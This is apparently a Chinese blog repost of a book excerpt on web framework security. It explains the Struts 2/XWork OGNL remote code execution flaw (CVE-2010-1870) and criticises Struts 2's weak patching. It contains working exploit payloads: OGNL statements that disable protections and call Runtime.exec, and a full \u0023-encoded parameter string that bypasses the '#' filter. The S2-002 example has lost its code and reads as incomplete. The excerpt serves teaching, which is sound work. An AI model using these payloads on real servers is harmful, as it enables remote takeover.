Web框架自身安全

broadviewbj發表於2012-04-09

Web框架自身安全

下面講到的幾個漏洞,都是一些流行的Web開發框架曾經出現過的嚴重漏洞。研究這些案例,可以幫助我們更好地理解框架安全,在使用開發框架時更加的小心,同時讓我們不要迷信於開發框架的權威。

201079日,安全研究者公佈了Struts 2一個遠端執行程式碼的漏洞(CVE-2010-1870),嚴格來說,這其實是XWork的漏洞,因為Struts 2的核心使用的是WebWork,而WebWork又是使用XWork來處理action的。

這個漏洞的細節描述公佈在exploit-db[1]上。

在這裡簡單摘述如下:

XWork透過getters/setters方法從HTTP的引數中獲取對應action的名稱,這個過程是基於OGNL(Object Graph Navigation Language)的。OGNL是怎麼處理的呢?如下:

user.address.city=Bishkek&user['favoriteDrink']=kumys

會被轉化成:

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

這個過程是由ParametersInterceptor呼叫ValueStack.setValue()完成的,它的引數是使用者可控的,由HTTP引數傳入。OGNL的功能較為強大,遠端執行程式碼也正是利用了它的功能。

* Method calling: foo()

* Static method calling: @java.lang.System@exit(1)

* Constructor calling: new MyClass()

* Ability to work with context variables: #foo = new MyClass()

* And more...

由於引數完全是使用者可控的,所以XWork出於安全的目的,增加了兩個方法用以阻止程式碼執行。

* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (預設為true)

* SecurityMemberAccess private field called 'allowStaticMethodAccess' (預設為false)

但這兩個方法可以被覆蓋,從而導致程式碼執行。

#_memberAccess['allowStaticMethodAccess'] = true

#foo = new java .lang.Boolean("false")

#context['xwork.MethodAccessor.denyMethodExecution'] = #foo

#rt = @java.lang.Runtime@getRuntime()

#rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允許引數名稱中有#的,因為OGNL中的許多預定義變數也是以#表示的。

* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.

* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.

* #root

* #this

* #_typeResolver

* #_classResolver

* #_traceEvaluations

* #_lastEvaluation

* #_keepLastEvaluation

可是攻擊者在過去找到了這樣的方法(bug編號XW-641):使用\u0023來代替#,這是#的十六進位制編碼,從而構造出可以遠端執行的攻擊payload

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den

yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti

me()))=1

最終導致程式碼執行成功。

Struts 2官方目前公佈了幾個安全補丁[2]

Struts 2官方的補丁頁面

但深入其細節不難發現,補丁提交者對於安全的理解是非常粗淺的。以S2-002的漏洞修補為例,這是一個XSS漏洞,發現者當時提交給官方的POC只是構造了script標籤。

(1)test=hello

我們看看當時官方是如何修補的:

新增的修補程式碼:

可以看到,只是簡單地替換掉

由此可見,Struts 2的開發者,本身對於安全的理解是非常不到位的。

 Web框架自身安全

本文節選自《白帽子講Web安全》一書。

圖書詳細資訊:http://space.itpub.net/?uid-13164110-action-viewspace-itemid-720731



[1]

[2] http://struts.apache.org/2.x/docs/security-bulletins.html

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13164110/viewspace-720732/,如需轉載,請註明出處,否則將追究法律責任。

相關文章